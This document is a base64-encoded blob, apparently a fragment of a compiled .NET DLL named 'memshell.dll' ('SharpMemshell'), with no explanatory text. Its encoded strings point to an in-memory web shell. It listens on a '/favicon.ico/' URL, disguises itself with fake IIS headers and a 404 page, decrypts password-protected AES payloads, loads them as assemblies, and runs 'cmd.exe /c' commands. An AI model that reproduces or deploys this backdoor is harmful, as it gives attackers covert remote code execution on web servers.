kJtOExBQUFLS0FvQUFBb1JCbThMQUFBS2IySUFBQW9SSFJZUkhZNXBiMDBBQUFvb1l3QUFDaEVISHhCdlpBQUFDaWhsQUFBS0V4NG9aZ0FBQ2hFZWJ3c0FBQW9USHhFTUVSK09hV3B2UGdBQUNnQVJERzgxQUFBS0V3MFJEUkVmRmhFZmptbHZEUUFBQ2dBQUFEZ1hBZ0FBRVJKeTVBUUFjQ2c3QUFBS0xCOFJDMjgvQUFBS2NuNEVBSEFvT3dBQUNpd01FUXR2WndBQUNoYitBU3NCRndBVEl4RWpPcXNCQUFBQUVRdHZPUUFBQ25MMEJBQndiMmdBQUFvb2FRQUFDaE1nRVNDTlBBQUFBUk1oRVF0dkZBQUFDaEVoRmhFZ2Iyb0FBQW9tYzBzQUFBb29DZ0FBQ2hFR2J3c0FBQW9vQ2dBQUNoRUdid3NBQUFwdlRBQUFDaEVoRmhFaGptbHZUUUFBQ2hNV0VRbHlFZ1VBY0c5ckFBQUtGUDRCRnY0QkV5TVJJeTFiQUJFSmNoSUZBSERRSHdBQUFTaFJBQUFLY3RRRUFIQVhqVE1BQUFFVEpCRWtGdEFEQUFBYktGRUFBQXFpRVNRb1VnQUFDaFFYalFFQUFBRVRKUkVsRmhFV29oRWxiMU1BQUFwMEh3QUFBVzlzQUFBS0FBQTQwUUFBQUFBUkNYSVNCUUJ3YjJzQUFBcDBId0FBQVhMZUJBQndiMTRBQUFvVEhITlpBQUFLRXhzUkhCRWJiMThBQUFvbUVSd1JEbTlmQUFBS0poRWNFUlp2WHdBQUNpWVJIRzh5QUFBS0poRWJiMkFBQUFvVEhSRWJiMkVBQUFvQUVSMk9hUmIrQWhiK0FSTWpFU010WkFCelN3QUFDaWdLQUFBS0VRWnZDd0FBQ2lnS0FBQUtFUVp2Q3dBQUNtOWlBQUFLRVIwV0VSMk9hVzlOQUFBS0V4MFJEQ0RJQUFBQWJ6MEFBQW9BRVF4dk5RQUFDaE1ORVF3UkhZNXBhbTgrQUFBS0FCRU5FUjBXRVIyT2FXOE5BQUFLQUFBQUFDczBBQkVNSUpRQkFBQnZQUUFBQ2dBUkRCRUZqbWxxYno0QUFBb0FFUXh2TlFBQUNoTU5FUTBSQlJZUkJZNXBidzBBQUFvQUFBRGVUeE1pQUJFTUlKUUJBQUJ2UFFBQUNnQVJEQkVGam1scWJ6NEFBQW9BRVF4dk5RQUFDaE1ORVEwUkJSWVJCWTVwYncwQUFBb0FjaUlGQUhBUkltOHlBQUFLS0NzQUFBb29iUUFBQ2dBQTNnQUEzam9BRVEwVS9nRVRJeEVqTFJJQUVRMXZEZ0FBQ2dBUkRXOFBBQUFLQUFBUkRHODFBQUFLYnc0QUFBb0FFUXh2TlFBQUNtOFBBQUFLQUFEY0FBQVhFeU00cnZqLy94TWlBSEpLQlFCd0VTSnZNZ0FBQ2lnckFBQUtLRzBBQUFvQUJtOXVBQUFLRnY0QkV5TVJJeTBKQUFadmJ3QUFDZ0FBQU40QUFBQXFBQUJCVEFBQUFBQUFBUElBQUFDV0JnQUFpQWNBQUU4QUFBQVRBQUFCQWdBQUFQSUFBQURvQmdBQTJnY0FBRG9BQUFBQUFBQUFBQUFBQUFjQUFBQVhDQUFBSGdnQUFEVUFBQUFUQUFBQlFsTktRZ0VBQVFBQUFBQUFEQUFBQUhZMExqQXVNekF6TVRrQUFBQUFCUUJzQUFBQXJBVUFBQ04rQUFBWUJnQUFTQWdBQUNOVGRISnBibWR6QUFBQUFHQU9BQUIwQlFBQUkxVlRBTlFUQUFBUUFBQUFJMGRWU1VRQUFBRGtFd0FBNkFJQUFDTkNiRzlpQUFBQUFBQUFBQUlBQUFGWEZRSUlDUUlBQUFENkpUTUFGZ0FBQVFBQUFEMEFBQUFEQUFBQUFRQUFBQVlBQUFBRkFBQUFjQUFBQUFNQUFBQUVBQUFBQlFBQUFBRUFBQUFGQUFBQUFRQUFBQUFBQ2dBQkFBQUFBQUFHQURVQUxnQUdBR1lBU3dBS0FINEFjd0FLQUowQWN3QUdBQVFCNUFBR0FDUUI1QUFPQUZZQlN3RUdBSDhCYmdFR0FKZ0JiZ0VHQUxVQnF3RUdBTTBCd1FFR0FPc0Jxd0VHQVBZQnF3RUdBUDhCcXdFR0FCZ0Nxd0VHQUNVQ3F3RUdBRG9DTGdBR0FFNENMZ0FHQUZZQ0xnQUdBSVFDcXdFR0FKRUNxd0VHQUtZQ0xnQUdBS3NDTGdBT0FMZ0NTd0VLQU5JQ2N3QUtBUElDY3dBS0FDZ0RDUU1TQUdRRDVBQUdBRzhETGdBU0FIWUQ1QUFHQUpFRGZ3TUtBS1VEY3dBS0FNSURjd0FHQU93RExnQUdBQ0lFQlFRR0FEc0VCUVFHQUZVRUxnQUdBSjhFakFRS0FLa0Vjd0FLQU9FRUxnQU9BUDBFU3dFT0FCb0ZTd0VLQUlvRmR3VUtBSklGZHdVR0FEb0dCUVFHQUVvR0JRUUdBRjBHQlFRS0FKSUdjd0FLQUs4R2N3QUdBTFlHTGdBR0FNTUdMZ0FHQU1nR0xnQUdBT3dHZndNR0FBRUhmd01HQUNjSHF3RVdBR1FIUlFjU0FHc0g1QUFXQUhvSFJRY0dBUGNITGdBR0FBTUlMZ0FHQUNzSTVBQUFBQUFBQVFBQUFBQUFBUUFCQUFFQUVBQVhBQUFBQlFBQkFBRUFnd0VRQUR3REFBQUZBQUVBQndBV0FKb0QvQUJRSUFBQUFBQ1JBRHdBQ2dBQkFJZ2dBQUFBQUlZWVFRQVFBQUlBeUNBQUFBQUFsZ0JIQUJRQUFnQjRJUUFBQUFDV0FKSUFHUUFEQUJvaUFBQUFBSllBc2dBa0FBUUFYQ0lBQUFBQWxnREFBQ29BQlFBQUFBRUF5UUFBQUFFQXpnQUFBQUVBMHdBQUFBRUEyd0FBQUFFQTRBQXBBRUVBTHdBeEFFRUFFQUE1QUdJQlBRQkJBRUVBUWdCSkFFRUFTQUJKQUo4QlRnQkpBS1VCVXdBSkFFRUFFQUJSQUxvQlh3QlpBTllCWkFCWkFPSUJhUUJoQUVFQWJ3QnhBQVlDZGdCeEFBd0NFQUJ4QUJJQ0VBQjVBRUVBZmdDQkFEQUNoQUNKQUVZQ0VBQ1JBREFDaVFBWkFHQUNuQUFaQUhBQ29RQ2hBRUVBcGdDcEFKd0NyZ0FNQUVFQUVBQzVBTElDdVFEQkFNUUN3QUFNQU00Q3hRQWhBT1lDNmdESkFBVUQ3d0RaQU00QzlnQUJBVUVBRUFBQkFiSURDd0VCQWQ4RER3RUpBYzRDaEFBQkFhVUJFQUFSQWZRREZRRVpBVUVBRUFBaEFVa0VHd0VwQVdJRUlnRzVBR3NFS0FHNUFITUVyZ0M1QUhzRUxnRzVBSVVFTkFFVUFFRUFFQUF4QVVFQUVBQUJBYjBFUVFFNUFjZ0VSd0U1QWRRRVRBRVpBT1VFVVFFSkFHSUVyZ0FaQU8wRVZ3RkpBVUVBWEFFaEFBa0ZuQUI1QUVFQVl3RlJBVUVBYVFFNUFFRUFid0VaQU9ZQ1Z3SFpBQ2NGZVFHNUFEQUZmZ0ZaQUR3RlpBQWhBRVVGTHdBaEFGUUZoQUVaQUdnRnJnQlpBVUVBRUFCWkFhTUZpUUZoQWJFRmhBQU1BQ2NGandGaEFiNEZoQUJoQWN3RmxnRmhBZUFGbGdGaEFmc0ZsZ0ZaQWFVQm13RlpBUlVHbndGWkFTZ0dud0ZwQVVFQUVBQnhBVzRHcEFGNUFYNEdyZ0VaQUtNR3R3R0JBU2NGdlFHUkFic0d4QUdaQWRvR3lnR1pBZmNHMWdHeEFRd0g0UUVVQU00Q3hRQ0pBVUVBOWdBaEFCTUg2QUdKQVIwSHJnQVVBQ2NGandHNUFVRUFFQURCQWV3RDd3RWtBSXdIREFJa0FKTUhHQUlzQUF3SEpnTDVBSm9ITHdJSkFLa0hOQUs1QWJBSE9RSnhBRVlDRUFCeEFiZ0hwQUVSQWNnSElnRzVBSHNFUGdLNUFJVUVRd0paQU5jSFpBQVpBT0VIbXdIWkFQTUhlUUhaQWYwSFNnSnhBQWdJVHdJeEFTY0ZWd0l4QVEwSVhBS1JBREFDRkFBQkFSWUltd0VCQVNZSUVBRHBBVUVBRUFBdUFBc0F2UUl1QUJNQXhnSmpBSU1EdUFKWUFJOEF6UUJpQXJJQU9nSFRBZjRCSEFJRWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQ0FRQUFCQUFBQUFBQUFBQUFBQUFBQVFBbEFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQkFDNEFBQUFBQUFRQUFBQUFBQUFBQUFBQUFEUUFTd0VBQUFBQUJBQUFBQUFBQUFBQUFBQUFBUUJZQXdBQUFBQUVBQUFBQUFBQUFBQUFBQUEwQURRSEFBQUFBQU1BQWdBQUFBQUFBRHhOYjJSMWJHVStBRzFsYlhOb1pXeHNMbVJzYkFCVGFHRnljRTFsYlhOb1pXeHNBRzF6WTI5eWJHbGlBRk41YzNSbGJRQlBZbXBsWTNRQVRXRnBiZ0F1WTNSdmNnQnNiMmNBVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGtkbGJtVnlhV01BUkdsamRHbHZibUZ5ZVdBeUFGTjVjM1JsYlM1T1pYUUFTSFIwY0V4cGMzUmxibVZ5VW1WeGRXVnpkQUJ3WVhKelpWOXdiM04wQUVoMGRIQk1hWE4wWlc1bGNsSmxjM0J2Ym5ObEFGTmxkRkpsYzNCSVpXRmtaWElBVEdsemRHVnVaWElBWVhKbmN3QmtZWFJoQUhKbGNYVmxjM1FBY21WemNBQmpkSGdBVTNsemRHVnRMbEoxYm5ScGJXVXVRMjl0Y0dsc1pYSlRaWEoyYVdObGN3QkRiMjF3YVd4aGRHbHZibEpsYkdGNFlYUnBiMjV6UVhSMGNtbGlkWFJsQUZKMWJuUnBiV1ZEYjIxd1lYUnBZbWxzYVhSNVFYUjBjbWxpZFhSbEFHMWxiWE5vWld4c0FGTjVjM1JsYlM1WFpXSUFTSFIwY0VOdmJuUmxlSFFBWjJWMFgwTjFjbkpsYm5RQVUzbHpkR1Z0TGxSb2NtVmhaR2x1WndCUVlYSmhiV1YwWlhKcGVtVmtWR2h5WldGa1UzUmhjblFBVkdoeVpXRmtBRk5zWldWd0FGTjBZWEowQUZONWMzUmxiUzVKVHdCR2FXeGxBRVY0YVhOMGN3QlRlWE4wWlcwdVZHVjRkQUJGYm1OdlpHbHVad0JuWlhSZlJHVm1ZWFZzZEFCSFpYUkNlWFJsY3dCR2FXeGxVM1J5WldGdEFFWnBiR1ZOYjJSbEFGTjBjbVZoYlFCWGNtbDBaUUJHYkhWemFBQkRiRzl6WlFCVGRISmxZVzFYY21sMFpYSUFWR1Y0ZEZkeWFYUmxjZ0JYY21sMFpVeHBibVVBU1VScGMzQnZjMkZpYkdVQVJHbHpjRzl6WlFCRGIyNXpiMnhsQUVWNFkyVndkR2x2YmdCblpYUmZTVzV3ZFhSVGRISmxZVzBBWjJWMFgwTnZiblJsYm5SRmJtTnZaR2x1WndCVGRISmxZVzFTWldGa1pYSUFWR1Y0ZEZKbFlXUmxjZ0JTWldGa1ZHOUZibVFBUTJoaGNnQlRkSEpwYm1jQVUzQnNhWFFBU0hSMGNGVjBhV3hwZEhrQVZYSnNSR1ZqYjJSbEFFRmtaQUJYWldKSVpXRmtaWEpEYjJ4c1pXTjBhVzl1QUdkbGRGOUlaV0ZrWlhKekFFaDBkSEJTWlhOd2IyNXpaVWhsWVdSbGNnQlRaWFFBVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGxOd1pXTnBZV3hwZW1Wa0FFNWhiV1ZXWVd4MVpVTnZiR3hsWTNScGIyNEFQRXhwYzNSbGJtVnlQbTlmWDFOcGRHVkRiMjUwWVdsdVpYSXdBRk41YzNSbGJTNURiM0psQUVOaGJHeFRhWFJsWURFQVJuVnVZMkF6QUVOaGJHeFRhWFJsQUZONWMzUmxiUzVTWldac1pXTjBhVzl1QUVGemMyVnRZbXg1QUR3K2NGOWZVMmwwWlRFQVNIUjBjRXhwYzNSbGJtVnlBR2RsZEY5SmMxTjFjSEJ2Y25SbFpBQklkSFJ3VEdsemRHVnVaWEpRY21WbWFYaERiMnhzWldOMGFXOXVBR2RsZEY5UWNtVm1hWGhsY3dCRGIyNTJaWEowQUVaeWIyMUNZWE5sTmpSVGRISnBibWNBVTNsemRHVnRMbE5sWTNWeWFYUjVMa055ZVhCMGIyZHlZWEJvZVFCTlJEVkRjbmx3ZEc5VFpYSjJhV05sVUhKdmRtbGtaWElBU0dGemFFRnNaMjl5YVhSb2JRQkRiMjF3ZFhSbFNHRnphQUJDYVhSRGIyNTJaWEowWlhJQVZHOVRkSEpwYm1jQVVtVndiR0ZqWlFCVWIweHZkMlZ5QUZOMVluTjBjbWx1WndCRGIyNWpZWFFBVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6QUVoaGMyaDBZV0pzWlFCSWRIUndUR2x6ZEdWdVpYSkRiMjUwWlhoMEFFZGxkRU52Ym5SbGVIUUFaMlYwWDFKbGNYVmxjM1FBWjJWMFgxSmxjM0J2Ym5ObEFGVnlhUUJuWlhSZlZYSnNBR2RsZEY5UmRXVnllVk4wY21sdVp3QklkSFJ3VW1WeGRXVnpkQUJuWlhSZlQzVjBjSFYwVTNSeVpXRnRBRWgwZEhCU1pYTndiMjV6WlFCblpYUmZTWFJsYlFCdmNGOUZjWFZoYkdsMGVRQm5aWFJmVlZSR09BQnpaWFJmVTNSaGRIVnpRMjlrWlFCelpYUmZRMjl1ZEdWdWRFeGxibWQwYURZMEFHZGxkRjlJZEhSd1RXVjBhRzlrQUZONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3dCUWNtOWpaWE56QUZCeWIyTmxjM05UZEdGeWRFbHVabThBWjJWMFgxTjBZWEowU1c1bWJ3QnpaWFJmUm1sc1pVNWhiV1VBYzJWMFgwRnlaM1Z0Wlc1MGN3QnpaWFJmVlhObFUyaGxiR3hGZUdWamRYUmxBSE5sZEY5U1pXUnBjbVZqZEZOMFlXNWtZWEprVDNWMGNIVjBBSE5sZEY5U1pXUnBjbVZqZEZOMFlXNWtZWEprUlhKeWIzSUFaMlYwWDFOMFlXNWtZWEprVDNWMGNIVjBBR2RsZEY5VGRHRnVaR0Z5WkVWeWNtOXlBRkpwYW01a1lXVnNUV0Z1WVdkbFpBQlRlVzF0WlhSeWFXTkJiR2R2Y21sMGFHMEFTVU55ZVhCMGIxUnlZVzV6Wm05eWJRQkRjbVZoZEdWRVpXTnllWEIwYjNJQVZISmhibk5tYjNKdFJtbHVZV3hDYkc5amF3QkRiMjlyYVdWRGIyeHNaV04wYVc5dUFHZGxkRjlEYjI5cmFXVnpBRU52YjJ0cFpRQkhkV2xrQUU1bGQwZDFhV1FBVkhsd1pRQlNkVzUwYVcxbFZIbHdaVWhoYm1Sc1pRQkhaWFJVZVhCbFJuSnZiVWhoYm1Sc1pRQk5aWFJvYjJSSmJtWnZBRWRsZEUxbGRHaHZaQUJOWlhSb2IyUkNZWE5sQUVsdWRtOXJaUUJUWlhSRGIyOXJhV1VBWjJWMFgxWmhiSFZsQUUxbGJXOXllVk4wY21WaGJRQk5hV055YjNOdlpuUXVRMU5vWVhKd0FFMXBZM0p2YzI5bWRDNURVMmhoY25BdVVuVnVkR2x0WlVKcGJtUmxjZ0JDYVc1a1pYSUFRMkZzYkZOcGRHVkNhVzVrWlhJQVExTm9ZWEp3UW1sdVpHVnlSbXhoWjNNQVEzSmxZWFJsQUZSaGNtZGxkQUJEY21WaGRHVkpibk4wWVc1alpRQkZjWFZoYkhNQVZHOUJjbkpoZVFCRGNtVmhkR1ZGYm1OeWVYQjBiM0lBVkc5Q1lYTmxOalJUZEhKcGJtY0FaMlYwWDBGVFEwbEpBR2RsZEY5SVlYTkZiblJwZEhsQ2IyUjVBRWRsZEFCSmJuUXpNZ0JRWVhKelpRQkNlWFJsQUZKbFlXUUFjMlYwWDBsMFpXMEFaMlYwWDBselRHbHpkR1Z1YVc1bkFGTjBiM0FBUTI5dGNHbHNaWEpIWlc1bGNtRjBaV1JCZEhSeWFXSjFkR1VBQUFBQUZXTUFPZ0JjQUd3QWJ3Qm5BQzRBZEFCNEFIUUFBQzFNQUc4QVp3QWdBR1VBY2dCeUFHOEFjZ0FoQUNBQVJRQnlBSElBYndCeUFEb0FJQUFLQUhzQU1BQjlBQUFqVFFCcEFHTUFjZ0J2QUhNQWJ3Qm1BSFFBTFFCSkFFa0FVd0F2QURnQUxnQTFBQUV4ZEFCbEFIZ0FkQUF2QUdnQWRBQnRBR3dBT3dBZ0FHTUFhQUJoQUhJQWN3QmxBSFFBUFFCMUFIUUFaZ0F0QURnQUFSbFlBQzBBVUFCdkFIY0FaUUJ5QUdVQVpBQXRBRUlBZVFBQkQwRUFVd0JRQUM0QVRnQkZBRlFBQUFkckFHVUFlUUFBQ1hBQVlRQnpBSE1BQUlOSlVBQkRBRVlBUlFCVUFEQUFUZ0JWQUZjQVZnQkNBRVlBU1FCRkFHZ0FWUUJVQUZVQWR3Qm5BRlVBUmdCV0FFTUFWQUJGQUd3QVJBQkpBRU1BU1FCMEFFd0FlUUE1QUZnQVRRQXdBRTBBZGdCTUFEQUFVZ0JWQUZJQVF3QkNBRWtBVmdCRkFERUFUUUJKQUVRQVVRQjFBRTBBUkFCRkFIWUFUQUF3QUZZQVR3QkpBR2tBU2dCdkFHUUFTQUJTQUhjQVR3QnBBRGdBZGdCa0FETUFaQUF6QUV3QWJnQmpBSG9BVEFCdEFEa0FlUUJhQUhrQU9RQlZBRlVBYVFBNUFHOEFaQUJIQURFQWN3Qk9BRU1BT1FCNkFHUUFTQUJLQUhBQVdRQXpBRkVBZFFCYUFFZ0FVZ0JyQUVrQWFnQTBBRTRBUXdCcUFIZ0FTUUJXQUVVQU1RQk5BRkFBYWdCNEFFa0FVZ0JWQUVZQVJRQlFBR29BZUFCVkFGTUFWZ0JTQUUwQVVnQlVBRFVBVHdCaUFETUFVUUJuQUZJQWJRQTVBREVBWWdCdEFGRUFPQUJNQURFQVVnQktBRllBUlFCNEFFWUFVQUJuQURBQVN3QlFBRVVBTVFCR0FGWUFSUUJGQUdjQVV3QkdBRklBVlFCVkFFTUFNUUJHQUZVQVZnQldBRW9BVmdCcUFEQUFhUUJSQURJQU9RQjFBR1FBUndCV0FIVUFaQUJEQURFQVZRQmxBRmdBUWdCc0FFa0FhUUJDQUVRQVlnQXlBRFVBTUFCYUFGY0FOUUF3QUZBQVV3QktBREFBV2dCWUFHZ0FNQUJNQURJQWFBQXdBR0lBVndCM0FEY0FTUUJIQUU0QWJ3QlpBRmdBU2dCNkFGb0FXQUJSQURrQVpBQllBRTBBZEFCWkFGZ0FUZ0JxQUdFQVZ3QnJBR2tBVUFCcUFIY0FkZ0JUQUVVQVZnQkNBRklBUkFBMEFFNEFRd0JxQUhnQVF3QlVBREFBVWdCYUFGQUFhZ0I0QUc4QVRRQnFBRFVBVHdCaUFETUFVUUJuQUZJQWJRQTVBREVBWWdCdEFGRUFPQUJNQURJQVp3QjVBRkFBWndBd0FFc0FVQUJIQUdnQWVRQlFBR29BZUFCM0FGQUFhd0JvQUZVQVZnQkdBRUVBWndCU0FGZ0FTZ0I1QUdJQU13QkpBR2NBVGdCRUFFRUFNQUJNQUdrQVFnQlZBR0VBUndCVkFHY0FZd0J0QUZZQWVBQmtBRmNBVmdCNkFHUUFSd0JXQUdzQVNRQklBRW9BYkFCakFESUFPUUF4QUdNQWJRQk9BR3dBU1FCSEFHd0FlZ0JKQUVjQU5RQjJBR1FBUXdCQ0FHMEFZZ0F6QUZZQWRRQmFBRU1BTkFBNEFFd0FNd0JCQUNzQVJBQlJBRzhBT0FCTUFEQUFTZ0JRQUZJQVJnQnJBQ3NBVUFCREFEa0FTUUJXQUVVQU1RQk5BRkFBWndBd0FFc0FBREZvQUhRQWRBQndBRG9BTHdBdkFDb0FPZ0E0QURBQUx3Qm1BR0VBZGdCcEFHTUFid0J1QUM0QWFRQmpBRzhBTHdBQUF5MEFBUUVBQ1ZRQWVRQndBR1VBQUF0d0FISUFhUUJ1QUhRQUFBVlBBRXNBQUFkakFHMEFaQUFBQ1ZBQVR3QlRBRlFBQUE5akFHMEFaQUF1QUdVQWVBQmxBQUFITHdCakFDQUFBQTl0QUdVQWJRQmZBR0lBTmdBMEFBQWpRUUJUQUZBQUxnQk9BRVVBVkFCZkFGTUFaUUJ6QUhNQWFRQnZBRzRBU1FCa0FBQUpUQUJ2QUdFQVpBQUFCVXdBV1FBQUQyMEFaUUJ0QUY4QWNnQmhBSGNBQUIxREFHOEFiZ0IwQUdVQWJnQjBBQzBBVEFCbEFHNEFad0IwQUdnQUFROXdBR0VBZVFCc0FHOEFZUUJrQUFBblJRQjRBR01BWlFCd0FIUUFhUUJ2QUc0QUlBQmpBR0VBZFFCbkFHZ0FkQUF4QURvQUlBQUFKMFVBZUFCakFHVUFjQUIwQUdrQWJ3QnVBQ0FBWXdCaEFIVUFad0JvQUhRQU1nQTZBQ0FBQUFBQVdqY0ZHRlBuVmt1U25uUThaREJRWXdBSXQzcGNWaGswNElrRkFBRUJIUTRESUFBQkJBQUJBUTRLQUFFVkVna0NEZzRTRFFVQUFRRVNFUVFBQVFFY0JDQUJBUWdJc0Q5ZmZ4SFZDam9FQUFBU0hRVWdBZ0VjR0FVZ0FRRVNJUVFBQVFFSUJDQUJBUndHQndJU0hSSWxCQUFCQWc0RUFBQVNMUVVnQVIwRkRnWWdBZ0VPRVRVSElBTUJIUVVJQ0FVZ0FnRU9BZ1FnQVFFT0JRQUNBUTRjREFjR0RoMEZFakVTUFJKTkFnUWdBQkk1QkNBQUVpMEhJQUlCRWprU0xRTWdBQTRHRlJJSkFnNE9CaUFCSFE0ZEF3UUFBUTRPQnlBQ0FSTUFFd0VjQnd3T0ZSSUpBZzRPSFE0T0hRNE9EaFVTQ1FJT0RoMERIUTRJQWdRZ0FCSmxCaUFDQVJGcERnVWdBZ0VPRGc0R0ZSSnhBUlVTZFFNU2VSd1NmUU1BQUFJRklBQVNnSVVGQUFFZEJRNEdJQUVkQlIwRkJRQUJEaDBGQlNBQ0RnNE9CU0FDRGdnSUJRQUNEZzRPQmhVU0NRSU9IQVVnQUJLQW5RUWdBQklOQkNBQUVoRUZJQUFTZ0tFRUlBQVNiUVlnQXdFT0RnNEZJQUVCRWprRklBRUJFa0VKSUFJQkVvQ2xFb0NwQkNBQkRnNEZBQUlDRGc0RUlBRUJDZ1VnQUJLQXNRWWdBUk1CRXdBRUlBRUJBZ01nQUFJRUlBQVNVUWtnQWhLQXZSMEZIUVVJSUFNZEJSMEZDQWdGSUFBU2dNRUdJQUVTZ01VT0JRQUFFWURKQ0FBQkVvRE5FWURSQWgwRkNpQUNFb0RWRGgwU2dNMEdJQUljSEIwY0JpQUJBUktBeFE0QUF4S0E1UkdBNlJLQXpSS0F6UTBWRW5FQkZSSjFBeEo1SEJKOUN3QUJGUkp4QVJNQUVvRGxBd1lUQUFrVkVuVURFbmtjRW4wSUlBSVRBaE1BRXdFRUlBRWNEZ1FnQVFJY0JDQUFIUVVFSUFFT0NBWUFBdzRPRGc0RUFBRUlEZ2NnQXdnZEJRZ0lCQ0FCSEJ3RklBSUJIQnhWQnlZU2dJRU9EZzRPSFFVT0RoVVNDUUlPSEJLQW1SS0FuUklORWhFU09SSWRFb0NsRWowU2dLa09IUVVWRWdrQ0RnNFNnSzBkQlJLQXhSR0F5Uko5SEJLQTNSd2RCUTRkQlFnZEJSSk5BaDBTZ00wZEhBUUJBQUFBQ0FFQUNBQUFBQUFBSGdFQUFRQlVBaFpYY21Gd1RtOXVSWGhqWlhCMGFXOXVWR2h5YjNkekFRQUFBQUJDQUFBQUFBQUFBQUFBQUI1Q0FBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUVFnQUFBQUFBQUFBQUFBQUFBQUFBQUFCZlEyOXlSR3hzVFdGcGJnQnRjMk52Y21WbExtUnNiQUFBQUFBQS95VUFJQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFRQUFBQUdBQUFnQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUJBQUFBTUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFTQUFBQUZoZ0FBQk1BZ0FBQUFBQUFBQUFBQUJNQWpRQUFBQldBRk1BWHdCV0FFVUFVZ0JUQUVrQVR3Qk9BRjhBU1FCT0FFWUFUd0FBQUFBQXZRVHYvZ0FBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUHdBQUFBQUFBQUFFQUFBQUFnQUFBQUFBQUFBQUFBQUFBQUFBQUVRQUFBQUJBRllBWVFCeUFFWUFhUUJzQUdVQVNRQnVBR1lBYndBQUFBQUFKQUFFQUFBQVZBQnlBR0VBYmdCekFHd0FZUUIwQUdrQWJ3QnVBQUFBQUFBQUFMQUVyQUVBQUFFQVV3QjBBSElBYVFCdUFHY0FSZ0JwQUd3QVpRQkpBRzRBWmdCdkFBQUFpQUVBQUFFQU1BQXdBREFBTUFBd0FEUUFZZ0F3QUFBQUxBQUNBQUVBUmdCcEFHd0FaUUJFQUdVQWN3QmpBSElBYVFCd0FIUUFhUUJ2QUc0QUFBQUFBQ0FBQUFBd0FBZ0FBUUJHQUdrQWJBQmxBRllBWlFCeUFITUFhUUJ2QUc0QUFBQUFBREFBTGdBd0FDNEFNQUF1QURBQUFBQThBQTBBQVFCSkFHNEFkQUJsQUhJQWJnQmhBR3dBVGdCaEFHMEFaUUFBQUcwQVpRQnRBSE1BYUFCbEFHd0FiQUF1QUdRQWJBQnNBQUFBQUFBb0FBSUFBUUJNQUdVQVp3QmhBR3dBUXdCdkFIQUFlUUJ5QUdrQVp3Qm9BSFFBQUFBZ0FBQUFSQUFOQUFFQVR3QnlBR2tBWndCcEFHNEFZUUJzQUVZQWFRQnNBR1VBYmdCaEFHMEFaUUFBQUcwQVpRQnRBSE1BYUFCbEFHd0FiQUF1QUdRQWJBQnNBQUFBQUFBMEFBZ0FBUUJRQUhJQWJ3QmtBSFVBWXdCMEFGWUFaUUJ5QUhNQWFRQnZBRzRBQUFBd0FDNEFNQUF1QURBQUxnQXdBQUFBT0FBSUFBRUFRUUJ6QUhNQVpRQnRBR0lBYkFCNUFDQUFWZ0JsQUhJQWN3QnBBRzhBYmdBQUFEQUFMZ0F3QUM0QU1BQXVBREFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQURBQUFBREF5QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ